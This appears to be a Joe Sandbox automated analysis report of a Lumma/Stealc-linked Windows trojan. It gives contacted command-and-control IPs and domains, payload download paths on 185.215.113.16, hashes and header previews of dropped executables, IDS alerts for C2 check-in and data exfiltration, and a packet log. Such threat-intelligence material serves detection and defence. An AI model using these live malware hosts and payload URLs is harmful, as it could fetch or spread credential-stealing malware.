http://185.215.113.206	ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.199.72	observerfry.lat	United States	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579712
Start date and time:	2024-12-23 07:51:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	U8mbM8r793.exe renamed because original name is a hash value
Original Sample Name:	f89093f658b52fd17ca15d0209a37ffb.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ER7BQPWQ4HBBERO2A4ZIZ5.exe, PID 7668 because there are no executed function
Execution Graph export aborted for target U8mbM8r793.exe, PID 7940 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:52:26	API Interceptor	16x Sleep call for process: U8mbM8r793.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/luma/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
observerfry.lat	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.6.116
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
WHOLESALECONNECTIONSNL	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	spoolsv.COM.exe	Get hash	malicious	DBatLoader	Browse	172.67.199.72
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.199.72
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IC79VITF07QUR284C1B5QWCEACP3.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe

Download File

Process:	C:\Users\user\Desktop\U8mbM8r793.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.49495175315163
Encrypted:	false
SSDEEP:	49152:sClAvSx/8MLHGbScHSJtB9YfkahghnWxS30m:sClaSx/8Mb8SQpk0gv0m
MD5:	880F67C30D6C2335273B27DF0004F500
SHA1:	D340D73B98A457D26180D69C28486F4D0CB98432
SHA-256:	3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
SHA-512:	346C038AA380B6467417D01D9FAE63BB55424886C85AC42CF98E2C9FE851C55C31BC4B46096CC793233409366C9752325C20C8FF5150EAEB8184B54EC7878CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......(-...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wwqufnsk.....$.....\|..............@...dutjqjqn......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Download File

Process:	C:\Users\user\Desktop\U8mbM8r793.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse Filename: 20yLTIU4mS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948576369897754
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	U8mbM8r793.exe
File size:	1'853'952 bytes
MD5:	f89093f658b52fd17ca15d0209a37ffb
SHA1:	9b2ef977da1e67def11fed9b700b30021fcb1268
SHA256:	ee10f50454fccad15a37dd298dc052070ccc5dbfa74cd55fa60d6e19bc8fbbb1
SHA512:	f114a209766f8618c05645f7f29b294ab023886f0ba6c8888d12a6f8dd3b62ee1ac5d6df5147508e465aa80fa4d725a3e5f61812e6e4273f2eb34f882ca2878a
SSDEEP:	49152:AZm7z8uuUW84J21okXe3ieX5Xy8HXu0agbwe8:MmXO8c2Gku95PH+5owe
TLSH:	FD85339E1C95FABAD8D6CC32ACD9E5973F0CF51023F25A5469DD81AE78323660FA4804
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I......N....@.................................T0..h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x898000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007EFCC86C38EAh
movaps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007EFCC86C58E5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	9e4a837503f775323a2a7a83e6693bbb	False	0.9973445526541096	data	7.981098659350033	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a6000	0x200	6f2e0e53272de55d4adad305ada49328	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oqtikcnf	0x2fa000	0x19d000	0x19c600	cd5dd5673419afa1e89fc85c3c5e58d3	False	0.9946148454076993	data	7.953805084719167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
buvnuwtm	0x497000	0x1000	0x400	9f7d6cb26e32a9adb92371ba0d44133e	False	0.765625	data	6.032871287981119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x498000	0x3000	0x2200	3780dc1bed0182cc19f09be31993b0bd	False	0.09972426470588236	DOS executable (COM)	1.1039652732402052	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T07:52:26.544810+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49707	172.67.199.72	443	TCP
2024-12-23T07:52:27.293749+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49707	172.67.199.72	443	TCP
2024-12-23T07:52:27.293749+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49707	172.67.199.72	443	TCP
2024-12-23T07:52:28.518235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49708	172.67.199.72	443	TCP
2024-12-23T07:52:29.583330+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49708	172.67.199.72	443	TCP
2024-12-23T07:52:29.583330+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49708	172.67.199.72	443	TCP
2024-12-23T07:52:31.164771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49714	172.67.199.72	443	TCP
2024-12-23T07:52:32.053595+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	49714	172.67.199.72	443	TCP
2024-12-23T07:52:33.409594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49720	172.67.199.72	443	TCP
2024-12-23T07:52:35.737670+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49726	172.67.199.72	443	TCP
2024-12-23T07:52:38.269435+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49737	172.67.199.72	443	TCP
2024-12-23T07:52:40.709680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49743	172.67.199.72	443	TCP
2024-12-23T07:52:44.514932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49752	172.67.199.72	443	TCP
2024-12-23T07:52:45.304296+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49752	172.67.199.72	443	TCP
2024-12-23T07:52:46.769196+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	49758	185.215.113.16	80	TCP
2024-12-23T07:53:03.132042+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49790	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:52:25.324053049 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:25.324094057 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:25.324155092 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:25.325541973 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:25.325565100 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:26.544713974 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:26.544810057 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:26.549036980 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:26.549071074 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:26.549319029 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:26.598067999 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:26.623991013 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:26.624022007 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:26.624155045 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:27.293741941 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:27.293843985 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:27.293894053 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:27.295846939 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:27.295866966 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:27.295892954 CET	49707	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:27.295898914 CET	443	49707	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:27.306464911 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:27.306525946 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:27.306586981 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:27.307004929 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:27.307019949 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:28.518106937 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:28.518234968 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:28.538095951 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:28.538117886 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:28.538471937 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:28.540859938 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:28.540885925 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:28.540949106 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583343983 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583429098 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583461046 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583491087 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583514929 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.583532095 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583543062 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.583545923 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.583867073 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.583884954 CET	443	49708	172.67.199.72	192.168.2.10
